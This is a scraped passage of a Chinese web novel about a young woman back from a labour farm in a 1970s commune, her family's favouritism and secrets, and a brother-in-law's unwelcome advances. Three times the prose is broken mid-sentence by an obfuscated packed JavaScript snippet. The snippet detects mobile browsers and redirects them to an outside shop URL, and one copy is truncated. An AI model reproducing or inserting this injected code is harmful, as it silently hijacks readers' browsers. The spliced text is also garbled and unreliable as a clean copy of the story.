“我知道你,我们大队好几个知青都暗恋你。” “…………”刘途尴尬得不知该怎么回。 姜四儿也笑不出来,她十三四岁时懵懂无知,也暗恋过刘途。 刘途很优秀,不管是家世还是人品长相才华,不管是哪个情窦初开的小姑娘都会喜欢。 姜四儿和贺明峥私下谈恋爱时曾告诉过对方关于她小时候暗恋的事,贺明峥当初吃了不小的醋。 好不容易把贺明峥哄好,后面又传出姜四儿为了争风吃醋打伤刘途的另一个暗恋者林姗…… 姜四儿想到这些事就很郁闷,她真的不喜欢刘途了,自从喜欢贺明峥的时候就对刘途没任何想法了。一切,都是喝醉酒的缘故。 “四儿,四儿。”程月梨偷偷掐姜四儿的腰让她回神。 姜四儿抬头一看,原来俩人已经跟着刘途来到了刘家,而此时刘家人正用着审视的眼神看着自己。 “妈,爷爷奶奶,我在路上碰到四妹了,所以喊她过来一起吃饭。四妹旁边这位是下乡的小程知青。” 刘途简单介绍完以后,姜四儿和程月梨有礼貌地朝刘家人问好。 刘家爷爷奶奶朝儿媳妇看过去,刘途老妈点点头小声道:“公公婆婆,就是她,坐过牢的就是她。” 刘家人使眼色小声交流,对着一个坐过牢的勉强笑着往里面迎。 “进去吧,你爸妈还有你姐姐他们都在里面。”刘途让姜四儿别害怕。 姜四儿赶紧拉着程月梨往更里面走去。 姜家父母看到姜四儿的第一眼是震惊,震惊四女儿这么不听话还大摇大摆地来公社大女婿家里来了。 而更让他们费解的是,程月梨那个家庭条件好的女知青竟然挽着四女儿的胳膊情同姐妹。 ‘城里人果然傻,拎不清,竟然和坐过牢的人交朋友。’姜木匠如此想道。 也因为有程月梨这个外人在,姜木匠春花夫妻俩即使心里有气也没有表现得太过。 “小程同志来得正好,大姐夫家里亲戚送来了一些水果,过来尝尝。”姜二丫主动站起身来招呼客人。 桌上放着几串葡萄,浸过冰凉的井水,在这大热天吃进嘴里是享受。 姜四儿没吃过葡萄这东西,也是第一次见到葡萄,拿了一颗在手心也不知道该怎么吃。 “把外面一层皮撕了,里面的籽吐出来。”程月梨小声教姜四儿。 程月梨觉得姜四儿很可怜,在这刘家,姜家人见了自己比见姜四儿还热情。 难怪姜四儿畏畏缩缩看上去有些懦弱,一副寄人篱下小心翼翼的感觉。 在刘家这种外人面前都如此对待四儿,在家里还不知道怎么过分呢。 程月梨叹息一声,心情复杂,又被蹲在一旁的姜小芯给萌化了。 只见这三岁小娃儿左手右手都抓满了圆滚滚的紫葡萄,吃得满嘴满脸。 圆滚滚的葡萄,搭配姜小芯圆溜溜的眼睛,和吃得脸颊圆圆的腮腮肉脸蛋儿。 天呐,真可爱,程月梨挪过去戳了戳姜小芯吃得一鼓一鼓的脸颊肉。 “来来来,阿姨给你剥皮。”程月梨笑道。 对于程月梨来说,葡萄不是啥稀罕玩意儿,她不馋这东西。 程月梨剥一颗,姜小芯吃一颗,偶尔程月梨跟不上小娃儿的进度,就会看见姜小芯仰头以最真诚的表情虔诚地看着自己。 程月梨剥了一颗后佯装塞进自己嘴里,就会看见这孩子直勾勾地盯着,然后在自己看过去时,傻乎乎地甜甜一笑。 太可爱了,太可爱了,程月梨脑袋偏过去,和姜小芯额头顶着额头,俩人都在那笑。 本来在一旁抓紧和三妹抢葡萄吃的姜二丫听到笑声后终于坐不住了,赶紧走过去抱起姜小芯,“我来喂她。” 吃醋的二丫抱起小妹离程月梨远远的。 程月梨不明所以,耸耸肩觉得无所谓。 中午饭菜摆盘上桌后,刘途去供销社喊媳妇儿下班。 姜大妞回家看到这么多娘家人,喜得眼泪夺眶而出。 顶着公婆的压力,姜大妞拉着四妹坐在自己旁边,在饭桌上不停给四妹夹着好菜。 姜小芯在圆桌外徘徊,吃了很多葡萄的她现在肚子饱饱的,即使再好吃的饭菜也勾不起小孩子的兴趣,“妈妈,我要少少的饭,很少很少的饭。” 孩子一声‘妈妈’喊出来,春花和姜四儿都朝她看过去。 “诶,知道了,”春花一边答应小女儿的话一边给她盛饭并问她,“咱们芯芯是好孩子是不是?是的话今天就自己吃,别让二姐再追着你喂饭。” “嗯。”姜小芯重重点头。 春花满意地摸摸孩子的头,她一向觉得二女儿太惯孩子了会把孩子惯坏,所以想改正这些不好的风气,免得以后害了孩子。 小娃儿不想上桌和一群大人一起吃饭,单独在桌子旁摆了椅子放饭菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586552|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又拿了小板凳乖乖坐在那儿,用小勺子一勺一勺地舀着专门给她炒的猪油蛋炒饭。 这是独属于姜小芯的最高待遇,每次来公社,刘途家里人都会给姜小芯单独炒上一碗最美味的猪油蛋炒饭。 而其他大人吃着混合芋头、绿豆和陈米的粥饭。 “妈,我爸昨天单独给大姐大姐夫开小灶塞了很多吃的。”姜老三吃着饭的时候突然想起此事,在老妈耳旁悄声说。 春花给三女儿使了个放心的眼神,她也背着老伴儿给老三藏了半袋牛肉干和肉罐头。那都是老三结婚时那些吃席的姑老表送来的好东西,听说是耗牛肉。 有了妈妈的安抚,姜老三这才感觉到公平,放心地开始吃饭。 这母女俩在这互相使眼色,坐她们对面的姜二丫不屑地笑,根据经验,只要母女俩这种样子,不外乎两种可能,第一,在说别人坏话,第二,老妈又藏了什么好东西给三妹。 还真是偏心得没边了。 姜二丫越想越气,怒火一直压在心里,中途去盛饭的时候和三妹遇上,姜二丫小声冷笑,“三妹,刚才和妈在鬼鬼祟祟聊什么呢。” “没什么。”姜老三答应了老妈不说出去。 可……她又想炫耀老妈对她的偏心。 所以两秒后她轻飘飘道:“妈说给我留了点吃的。” “呵,我就知道,偏心这么严重,没这么当妈的。” “你别得了便宜还卖乖,你那食品站的工作不是大姐夫一家你能进得去?你都有了好工作,还和我在家计较这些小玩意儿,姜二丫,你心也太贪了。” 俩人压低声音在这交锋。 “我心贪?哎呀我没搞错吧,当初老妈可是求着大姐夫给你找的工作,可谁叫你不争气啊,你嫌弃卖猪肉味儿大,最后看你实在不中用才把我弄进去。” “可不味儿大吗,我现在离你这么远都能闻到你身上那猪腥味,”姜老三鄙夷一笑,“还想嫁城里有钱人,哪个城里有钱人能忍受你身上这股味儿。” 姜二丫脸色一变,要不是在刘家,她非得扇死三妹 “白眼狼,你个白眼狼,小时候没人和你玩,你在外面怂的要死,只有我主动带着你和我那些朋友一起玩,你这个不知道感恩的畜生。” 被戳中小时候的痛处,姜老三有些理亏,蠕动着嘴唇不说话,最后只冷冷哼了一声,盛了饭继续回到饭桌上。 回到饭桌上的姜二丫和姜老三死气沉沉,都板着一张脸,一看就是闹了不愉快。 ‘两个冤家。’刘途对这两个小姨子感到心累。 往常还会有大妞缓和气氛,不过今天大妞全程关照着四妹,分不出心思在其他妹妹身上。 姜大妞偷偷塞给四妹一块巧克力,小声道:“这是刘途他堂姐单位发的,听说是好东西,一共就给了刘途十块,这块你偷偷吃,别分给二妹三妹。” 刘途他堂姐刘棠儿是S市歌舞团的,最近排节目时每一场表演,上头都会给她们发两小块巧克力,刘棠儿惦记着表弟,最后攒下了这么些给托人带了过来。 刘途给了父母爷爷奶奶各一块,自己一块,剩下的都给了媳妇儿姜大妞。 姜大妞见长辈们爱吃,私下又把自己的分给了公婆爷奶各一块,剩下的这最后一块,单单给四妹留着。 姜四儿心头暖洋洋的,从小到大那些亲戚邻居长辈们都更喜欢大姐,因为大姐是真的很好很好。姜四儿也是,最尊敬大姐。 看着四妹冲自己露出的憨憨的笑脸,姜大妞心里酸楚。 如果四妹知道是自己害得她坐了牢,还会朝自己笑吗。 姜大妞一颗心惴惴不安。 姜四儿一直观察着老妈,等看到老妈单独去盛饭,马上也端着碗过去,“妈……” 她鼓足勇气,豁出去一般朝妈妈低声开口,“今天三姐夫让我洗他的裤子,还故意把裤子往我身上扔。” 姜四儿声音越说越小,没多少底气。她直觉就是这个三姐夫有点越界了,现在心里对三姐夫有抵触也有害怕,所以想和妈妈说。 春花惊讶地看着四女儿,“他还做了什么?” 姜四儿摇头。 “好了,这事你别和其他人说,以后单独相处的时候避着他点。”春花一脸愁容,叹气一声心里烦躁,烦四女儿和自己说这些做什么,是想让自己怎么解决? 晚上回去,春花忧心这事忧心得整夜睡不着。她希望四女儿没和自己说过这些事,否则也不至于让她担忧四女儿受了委屈而一夜未眠。 16. 重修 26日, 姜木匠和方感勇大清早被生产队长叫走出工。 天上下着大雨,一群庄稼汉淋着雨去和几个男知青汇合。 因着这几天的下大雨,几艘小船没及时浇水出去都沉了,他们现在得去把船捞起来。 这些劳动力分为几波人朝不同的塘里去捞船。 大家打着赤脚下水,只听方感勇惨叫一声,“脚底板踩着东西了。” 方感勇猜测可能是被水底下淤泥里的贝壳划破了脚底板。 “我再去给你们叫人去。”方感勇赶紧爬上岸跑了。 生产队长无奈笑了笑,“姜木匠,你三女婿这样,今天是不可能给他记工的,一分也没有。” “别管他,没用的东西。”姜木匠啐了一口。 等忙完所有活,姜木匠浑身湿透地回家,春花提着暖水瓶的热水倒进桶里让老伴儿擦洗。 姜木匠一边擦洗一边和婆娘吐槽三女婿,“我开口求了队长,好说歹说才让队长把你那好女婿给喊上,就是想多挣点工分,年底了能多分点粮,没想到他那么不中用啊。” 家里好几个吃干饭的,要不是大女儿和二女儿工作了能补贴家里,一个个全都得像几年前那样挨饿。 越想越气,姜木匠洗完把毛巾往桶里重重一扔来泄愤。 春花叹着气收拾老伴儿的脏衣服,姜木匠去菜地里打板栗。他们家菜园子中央有两棵小小的橘子树,菜园子东南角落有一棵板栗树。 现在是板栗成熟的日子。 昨天亲家母刘家给他们吃了葡萄,那样的好东西用来接待他们,姜木匠心里怎么过意得去,所以决定去菜园子里那棵树下打板栗送给亲家。 在姜木匠的敲打下,重重的外壳带尖刺的板栗纷纷从树上掉落。 捡了足足一箩筐,姜木匠去到院子里开始砸壳,让光滑的板栗果子从厚厚的带刺外壳中脱落,这一步比较难。 姜小芯被爸爸砸东西的声音吵醒,跑去院子里蹲着看。 她现在不是很喜欢吃板栗了,因为前天晚上四姐姐给做过煮熟的板栗,一点也不好吃,没啥味儿。 姜小芯挠挠被蚊子咬得都是包的手臂和脸蛋儿,伸出小脚丫子给爸爸看,“出血了。” 砸板栗的姜木匠抽空朝小女儿的脚看去,看着都疼,“脚都磨破皮了,你这鞋子不能穿了,磨脚。” “要穿。”姜小芯回。 是大姐姐给买的塑料凉鞋,整个生产队的小孩儿只有姜小芯有这时髦的小鞋子,小孩子也爱美,所以根本舍不得不穿。 姜二丫听到他们的讨论声走了出来,观察着鞋子,“没事,我在磨脚的地方缠一层棉布。” 把鞋子处理好,姜二丫拿出家里的紫药水给孩子磨破皮见血的地方消毒。 在厨房做饭的姜四儿竖起耳朵听着外面的动静,她关心女儿的情况,又不敢在家人面前表现出来。 早饭做好后,姜二丫吃完骑着单车去公社上班。 姜木匠匆匆吃了几口又继续处理那些难弄的板栗,早上十点左右,终于全部处理好,姜木匠装好干净的板栗骑上家里另一辆自行车。 “爸爸你去哪儿?” “去你大姐姐家给他们送板栗。” “我也要去。” “早上你二姐姐让你去公社你不是不想去吗?” “刚才不想去,现在又想去了。”姜小芯跑到爸爸自行车边上就往上爬。 姜木匠一把将孩子提溜上来放好,快速踩着自行车离开。他得尽量早一点将东西送过去,免得赶在饭点到达。 十点半,姜木匠在亲家母的热情挽留‘吃午饭再走’的情况下,坚决地带着姜小芯要离开。 他今天来送板栗就是因为想为大女儿做些什么,想尽自己一份心,不能老是占亲家便宜,让大女儿在公婆家不好做人。 姜木匠带着小女儿在十一点前赶回了家中,从菜园子里打整菜地的春花出来笑道:“刚才还和四儿议论呢,说你们俩多半会在刘家吃完饭再回来。” “她是要留我们吃中饭,我把给外孙的一个红包一扔,趁她去捡的时候赶紧跑了。”姜木匠笑得很憨厚老实。 从自行车上下来的姜小芯两手抱着个东西,兴冲冲跑到春花面前给她看。 “你手里拿的是茄子?”春花也是开心得不得了,“又是亲家母给的?” 姜木匠应声,“她说让我多拿几个回来炒菜吃,我哪好意思,就象征性地拿了一个。” 茄子是好东西,因为对姜家人来说有些陌生,这是生产队里没有种植的蔬菜,只有公社菜场才偶尔有,需要花钱买。 单手抱着紫色茄子,姜小芯原地蹲下用另一只手拿着小木块儿在地上画茄子。 吃完早饭又回去睡了个回笼觉刚醒来的姜老三边梳着头发边走过来看,“不错,画得还挺像。” 春花跟着说,“小芯,把你上次画的鸭子在水里游再给你三姐姐画一遍。” 说完又转身和三女儿念叨,“你待会儿看,她画得很好看,真的像鸭子在水里游一样。” 母女俩开始笑着聊姜小芯画画有多漂亮好看。 正在扎扫帚的姜四儿手里不停歇地干着活,耳朵里却专心听着爸妈三姐对芯芯的夸赞,这让她骄傲自豪,不愧是她肚子里生出来的种,真厉害。 又过了几分钟,爸妈都来搬了椅子坐下一起干活撕扫帚。 将地肤草上的一根根枝条撕下来,然后再把枝条按照样式和枝条长短顺序给扎起来,就是一把扫帚了。 而整个过程中,撕枝条是最繁琐最累的一步。 整个家里谁不是从早到晚干着活,唯独三女儿三女婿夫妻俩找到机会就偷懒。 姜木匠也不惯着,见他们夫妻俩还站在院子里聊天,便阴阳怪气,“这家里啊,干活的人少,吃饭的倒是挺多。” 姜老三和方感勇对视一眼,气得胸口生疼。 ‘老不死的狗东西。’方感勇心里怒骂。 他转身回了房间不出来,就是不乐意干家里这些杂活。 他一个城里来的知青,只要不下雨,便每天没有休息时间一直出工挣工分。好不容易连续几天大雨,没啥能干的活,这才休息两天,凭什么又要他干家里那些杂七杂八的事。 姜老三也不乐意干家里这些繁琐的小事,便主动提出去做饭。 “吃什么饭,咱们没那个好命,这两天都没出工,吃那么勤快干什么,粮食哪够这么挥霍的,真当你自己是城里媳妇了?”姜木匠用力撕着难弄的枝条。 他们庄稼户干体力活时必须吃三顿,要不然扛不住。 而一旦没干什么体力活,一般都吃两餐。 姜四儿听着爸爸和三姐吵架,识趣地不插嘴。 三姐不一会儿就被气跑,跑出了屋。 他们仨一直撕地肤草撕到下午五点,春花和姜四儿看看天色去准备晚饭和其他家务活,姜木匠则是和到来的队里会计核对工分。 他们公社的各个大队有各个大队的规矩,每一队都不一样,像姜木匠所在的大队,都是每个月月底和社员知青们核对数据。 姜木匠所在生产队的会计身兼记工员,干着两份工。 姜木匠不咋识字,但认识数字,能核对。但他不愿意自己核对,非得等三女儿回来再核对,原因无他,纯粹是姜木匠喜欢显摆自己那读过书的三女儿。 “爸,我来吧,我认识字。”姜四儿从厨房走了出来。 “你?”会计有些惊讶,“咱们队往年统计的文盲人数里面就有你一个,你什么时候识字了?” “我在劳改农场办的扫盲班里学了很久,那里的劳教干部很好,教我们识字,教我们很多知识本领。”姜四儿拿过全家的几本工分手册一一核对。 俩人都没注意到旁边的姜木匠有些不对劲, 一旁呆呆站立的姜木匠吓得六神无主,赶紧跑回自己房间,在房间桌面上找到几封随意散落的信件,又在抽屉里找到几封信,最终把这些信全都锁在放存折本和钱票的一个抽屉里。 就连上锁的抽屉钥匙,也不像平常那样随意放在枕头底下,姜木匠把钥匙牢牢挂在腰间。 这些信都是林姗寄来找姜家索要财产的,那人不守信用,要了钱要了城里的工作,还把姜家人弄进去一个坐牢。可即使这样也不满足,时不时写信来找姜家人要钱。 而这个钱则是由刘途寄过去,所以也导致刘途和姜大妞俩人存折里并没有多少存款。 林姗是笃定刘途一定会给自己不停打钱,毕竟他可舍不得媳妇儿姜大妞去坐牢受罪。 这些信姜木匠平时都是随意放在自己房间的桌上或架子上,毕竟方感勇不会进老两口房间,而姜四儿虽然每天都要进爸妈房间打扫卫生拿脏衣服去洗,但姜家人都以为姜四儿不识字。 几年前那个叫贺明峥的知青想教生产队的大家识字,姜四儿去了一次就懒得再去,她一向是个懒人。 没想到啊没想到,去劳改农场还真的让她改造成功了,现在回到家不仅勤快还学会了识字。 姜木匠后怕地走到厨房和春花说这件事,春花听了也是担心,“她每天都进出咱们房间,以后可把信都给锁好了,不能让她看见,要不然她知道了事情真相大闹一场,对家里名声不好,让外人看笑话。” 姜木匠叹气,“还有一件事,今天我去亲家那里送板栗,遇到大女婿了,咱女婿让我们以后别关着四儿。” “没有关着她,只是让她没事少出门。” “咱女婿就是这个意思,让我们别这么做,”姜木匠道,“这女婿心善,和大妞一样都觉得愧对四儿想让四儿过得好一点。既然大女婿都开口了,得给他这个面子,咱俩以后也别拘着四儿。” “行吧,行吧,唉,好不容易过了几年安生日子,最近又开始心慌,总觉得不平静。” “别多想了,说起来不怪四儿,不怪我们,都怪那个林姗,她罪有应得,她最该死。我们好好过自己的日子,她上门来找事,害了咱们自己一家,有时候半夜回想起这事气得睡不着,我真想和她同归于尽。” “别说这些没用的了,只能怪咱们家倒霉。”春花给老伴儿顺气,怕他气出个好歹来。 五点四十分的时候家里人聚齐了,在一起吃晚饭,姜二丫问四妹工分的情况,“这个月头工是谁?还是咱爸妈吗?” “当然。”姜四儿为爸妈感到骄傲自豪。 头工就是工分最多的,这些年了,一直是爸妈分别占据男女队伍中的头工,俩人都是干活的一把好手,最能吃苦受累。 不过,三姐三姐夫就不行。 “三姐出工不积极,有时偷懒还被会计抓到,她这个月的工分和程月梨一样并列倒数第一。三姐夫也是,这个月工分是爸爸的一半。” 被点名的姜老三浑身不自在,往丈夫身边靠拢。 方感勇微微侧身去夹茄子,掩盖内心对这个喜欢骂人说脏话的媳妇儿的嫌弃。 一盘茄子切成条就那么点儿,是今天饭桌上最尊贵的菜,看到三女婿这个吃白饭的还想继续夹茄子,姜木匠下一秒就把茄子摆在了二丫和小芯面前。 姜二丫一个月的工资快发下来了,值得吃最好的。姜小芯最小,得吃好的长身体。 其他人,不配。 姜木匠笑呵呵地看着二女儿和小女儿。 方感勇眼神中的怨毒一闪而过,天底下就没见过他这样憋屈的女婿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586553|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他可是城里来的知青,本来娶姜老三一个乡野丫头就委屈了,这老丈人还一直看他不顺眼,这个老不死的。 亲亲老公受了委屈,姜老三也记恨,不过是把恨意放在了二姐身上。 “你有什么好得意的,当年如果不是四妹好奇尝试酒喝醉了,还不一定是四妹坐牢,说不定顶罪坐牢的是你。”姜老三吃过饭后就去杂物间找二丫麻烦,用话气她。 四个姐妹里,姜二丫和姜四儿都不讨喜,一个刀子嘴豆腐心不会说话又时常看透一切的神情,父母不喜。一个懒得要死,身边经常有各种男人围着讨好,父母觉得不正经也不喜欢。 两个都不讨喜,如果当初姜四儿没喝醉,替大姐去坐牢的还真不一定会是四妹。 “你是脑子里进了粪水吗,爸妈一再说过了以前的事不要再提,你非得说说说,真让四妹听到了真相,家宅不宁。”姜二丫小声骂。 这个在家里嚣张在外面怂的蠢货三妹,姜二丫真的是看见都嫌烦。 瞪了三妹一眼,姜二丫把她推出房门。 几秒后杂物间房门再次被打开,姜二丫烦得骂了一声‘滚’,话音刚落就后悔了,因为眼前出现的不是讨人嫌的三妹,而是小妹。 “对不起小妹,我刚以为是你三姐姐,我不是在骂你,”姜二丫语气温和道,“走,去给你洗澡。” “二姐姐,先不洗澡,”姜小芯抹了把额头上的细汗,被二姐姐刚才那一吼吼得有些小心翼翼,“四姐姐让我来找你,让你去她那个小砖房,还说,还说不能告诉三姐姐和三姐夫。” ??姜二丫皱眉,到底是什么事神神秘秘的? 姜二丫抱起小妹偷偷从屋后头跨越一条小水沟,然后从后面的小路绕路去了四妹那个独立的小砖房。 姜四儿在姜家收拾好厨房后就一直回到小砖房等着,终于等到了二姐和芯芯,赶紧将人拉到里面的房间,在点燃蜡烛的烛光下,小心翼翼摊开那些珍贵的零食。 姜二丫眼睛瞪得老大:“..........” 这........这不是程月梨知青曾经给小芯分享过的巧克力豆吗?很小的一个个五颜六色的糖豆子,里面大有乾坤,装的是巧克力。 当初程月梨忍痛给姜小芯分享了一点,结果姜小芯藏在抽屉里想着一天只吃一颗,慢慢吃,结果那些五彩缤纷的漂亮巧克力豆在高温天气下融化成一摊,脏兮兮地粘在了抽屉里,就那么浪费了。 而且就连方感勇那个城里知青都说从没见过这样的巧克力,刘途大姐夫也说城里的巧克力没有这种样式的。 “你从哪里搞来的?”姜二丫心脏扑通扑通跳。 “是程月梨知青给我的,她说很喜欢我以后都和我一起玩。” 姜二丫懂了,“所以这些都是贺明峥这次给程知青送来的吃的,然后她分享给了你一些。” 姜四儿猛猛点头,在坐牢前她一向受欢迎,和她交朋友的不管男女都喜欢宠着她,所以姜四儿也没觉得收下这些东西会不好意思。 “这些东西你们先挑,挑完后你明天去公社上班的时候再给大姐大姐夫那边送去一些,剩下的留着我自己吃。”姜四儿挑眉。 听四妹这意思,是不想分享给三妹三妹夫,所以才让自己偷偷过来。 “不给爸妈分一点?”姜二丫问。 “不给他们分,反正给了爸妈他们也不会吃多少,大部分都是留给大姐和三姐。”姜四儿道。 她一声令下,姜小芯首先就开始挑选自己爱吃的,小巧漂亮的巧克力豆就是她的最爱。 姜四儿陪着姜小芯在那开开心心地挑选,姜二丫有些心寒,心寒四妹不孝顺父母。 仔细想来也是,从小到大,四妹一直是那个最不爱和家人坐在一起吃饭的人,她总是喜欢端着碗自己蹲在外面吃,就是不愿意和家里人一起吃,只有坐牢后现在才老实了一点。 从小到大不管是中秋团圆还是过年一起吃年夜饭,四妹总是第一个放下碗筷离开去外面玩的人。 从这些小事上就能看到一个人的性格,四妹一直是最狠心的那一个。 爸妈常说二女儿最不孝顺,但姜二丫心中一直觉得四妹才会是最不孝顺的那一个。 如今有了巧克力豆和各种饼干好东西,四妹竟然真的舍得一点都不给爸妈吃。 那小芯呢?以后也会和四妹一样是个狠心的吗? 姜二丫只觉得心都凉了半截,她平日都把小芯当自己女儿养。 心情复杂的姜二丫惆怅地看着小妹。 姜小芯挑了很多吃的,姜四儿又让二姐挑。 姜二丫选了一个包装精致的盒子,外面写的都是些洋文,也不知道里面装的是什么。 打开盒子,里面是像花朵一样形状的饼干,和她在供销社买过的饼干大不相同。 “口感硬硬的,很甜。”姜二丫咬了一口,比曾经吃过的钙奶饼干要甜很多。 太久没吃过甜食了,还是糖分充足的甜食,姜二丫所有烦恼都抛之脑后。她嘴里咬着一块,又递给四妹和小妹。 三个人躲在偏僻的小砖房吃得笑开了花。 “看来贺明峥那小子回城后找了个有钱的工作,连大姐夫家里都没见过的东西,他竟然有。” “和工作没关系,他家里条件本来就不差,”姜四儿娓娓道来,“他爸他妈都是厂里的职工,双职工家庭,条件能差到哪去,几年前他刚下乡的时候家里存款就有一千块了。” “你怎么知道的?”姜二丫很惊讶,四妹连存款都知道? 姜四儿结巴了下,赶紧撒谎,“是程知青告诉我的。” 她有些委屈,所有人都觉得她和贺明峥不熟,可俩人啥事都做过了。 17. 重修 贺明峥初次下乡时,彼此俩人都还小,姜四儿和贺明峥见了不到几次面就牵手拥抱献出了彼此的初吻,可以说是一见钟情情不自禁。 姜四儿十八岁初尝禁果,之后也睡了很多次,但一直没有明着公布恋爱的理由也很简单,他们都希望贺明峥爸妈能同意以后,再光明正大地进城去。 虽然两个小年轻忍不住,在行为上什么事都做过了,但心知肚明这种事不能在长辈们面前提及,要不然长辈会觉得四儿一个女同志不矜持。 俩人在一起后虽然没有明着公布恋情,但是私底下老是有些情侣的暗号和小动作。姜四儿一直觉得奇怪的地方在于,家里人怎么看不出来自己和贺明峥关系不一般,其他人看不出来也就算了,连家里这些最亲的人竟然也看不出来。 “城里人就是好,啥新鲜玩意儿都能吃到,”姜二丫吃着曲奇饼干,一盒吃完了也不觉得腻,“糟了。” 姜二丫的一声叫喊让姜四儿从往事中回神。 只见姜二丫突然冲到门口把木门栓好,又把贵重的玻璃窗户给拉上。 姜四儿刚想问怎么了,就听见屋后小路上渐渐逼近的脚步声和谈话声。 “知青点那块自留地的白菜种子都被鸟儿给吃了,他们竟然一直不知道,要不是我家婆娘今天路过看了一眼,哎哟,今年这些知青得吃不到白菜了。”“就是一群生活不能自理的少爷小姐,干事不利索,吃饭倒是一把好手。”“要我说啊,这几次的知青们质量不如以前了,前些年那些下乡的知青们哪个不是勤勤恳恳和咱们打成一片,不光他们自己学习了农事,也教咱们这些泥腿子怎么修车怎么识字扫盲。再看看这两年下乡的几批知青,啥事干不好不说,也没交流学习到什么东西,光和咱们抢粮食吃来了。”“就是说————欸?等等,我怎么闻到了甜味儿?” ............... 一群聊天的人狠狠吸了吸鼻子,确实有闻到甜味儿,像是饼干散发出来的。 “是桃酥吗?”有人咽了咽口水。 几个聊天的乡亲们看看四周,这小路西边连着大马路,其他几个方向都是通往各个小路连接着鱼塘,唯一一间最近的房子就是眼前姜木匠给新建的小砖房。 大家伙凑过去,站在后门窗户边往里看,那一丝饼干香气又像萦绕在鼻尖又像飘荡在远处。 有人敲了敲窗户,没人回应。 “走吧,可能是闻错了。” 慢慢的香气彻底没了,这一伙人离开,继续往小路的鱼塘出发。 他们一走,屋内偷偷吃饼干的仨人这才松了一口气,笑得眉眼弯弯。 幸好刚才姜二丫关了窗户,要不然这些人讨要吃的,乡里乡亲的,肯定多少要给出去一点分着吃。 她们家因为有俩人在公社上班,本来已经够招人嫉妒了,要是再传出去有这么多好吃的,招人恨。 第二天一早,姜二丫带着姜小芯去公社上班,还顺带着拿了两包红糖送去了姜大妞婆家。 姜大妞婆家虽然不缺吃喝,但很缺糖,一家几口已经连续几个月没有好好吃上一顿甜食了。 听说这糖是姜四儿让带来的,姜大妞有意想给四妹找回场子,直夸四妹懂事,免得公婆老是对四妹印象不好。 刘途也帮着说话,“爸,妈,你们看我这小姨子够意思吧,别人知青朋友给她好东西,她立马想着分点给姐姐姐夫家。” 小俩口一唱一和的,刘途爸妈也很无奈。 他们俩公婆确实很满意姜大妞,姜大妞是很典型的孝顺公婆对丈夫温柔又爱护孩子的女人。和围在姜四儿身边的那些鱼龙混杂的男人不同,姜大妞结婚前身边爱慕她的都是些正派君子。十里八乡的长辈们没有人不夸姜大妞,也都羡慕他们刘家娶了个好媳妇儿。 所以刘家公婆俩其实没想过要故意为难姜大妞的四妹,只不过姜大妞那四妹坐过牢的事听着太吓人了,整个公社至今也就只有姜四儿这一个坐过牢的人,他们确实害怕。 “四儿这孩子上次吃饭的时候见了,倒是个听话孩子,”刘家公婆松了口,“以后让你四妹也常来走动走动。” 俩老倒不是因为这两包红糖的事而松口,只不过儿子儿媳妇天造地设的一对,感情好很恩爱,他们公婆俩要是再给姜四儿脸色看,也确实怕影响儿子和儿媳妇的感情。 听到公婆对四妹的态度好转,姜大妞鼻头一酸,喜极而泣。刘途心疼地搂住媳妇儿,顾不得旁人在场,又亲又摸着安慰。 另一边生产队,姜四儿整理着这段时间来做好的扫帚,一共一百五十把。 大队里来人把扫帚拉走,姜四儿凑上前讨价还价,“我的工分不至于还像几年前那样定为五分吧?” 姜四儿坐牢前在生产队的懒是出了名的,生产队的队长给她把工分定死了,一天五分。 如今.........如今大队长看着姜四儿红肿粗糙的手指,点了点头,“我去和你们队长说,让他给你重新定工分。” 大队一共两亩地的地肤草,姜四儿短短二十多天的时间,一个人完成了四分地的地肤草拔草撕草晒草捆扎等工作,劳动表现和成年男子有的一拼。 这种情况下,再按几年前的五分记工,那也太不公平。 大队长说话算话,把一百五十把扫帚拉走后,立马就去找了姜四儿生产队的队长。 队长也不含糊,不等下次社员大会了,直接让记工员给姜四儿定下了八分的工分。 姜四儿如今是肉眼可见地进步了,不好吃懒做了,他们干部们也开心,不会拖社员后腿。 得知自己的工分重新定了,出工一天八个工分,姜四儿底气也足了,见了爸妈不再那么唯唯诺诺。 晚上姜四儿做完饭家人们还没回来,她开始收拾晾在绳子上的衣服被子。 将二姐和芯芯的衣服放在他们小房间,又把爸妈的衣服和被子放进爸妈房间。 刚一转身,姜四儿看见了抱着衣服笑看着自己的方感勇。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586554|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“四妹,你这也太偏心了,太阳都快落山了,这一家人的衣服都收了,唯独不收我和你三姐的,你是对我们有什么意见吗?” 姜四儿理都不理,当面翻了个白眼就要走。 方感勇这么多天都没占到便宜,有些心急了,赶忙变戏法似的变出一颗姜糖诱惑道:“四妹,刚才我去帮大队里赶走丢的大鹅,他们给了我这糖,你赶紧拿着,别给你三姐看到了。” 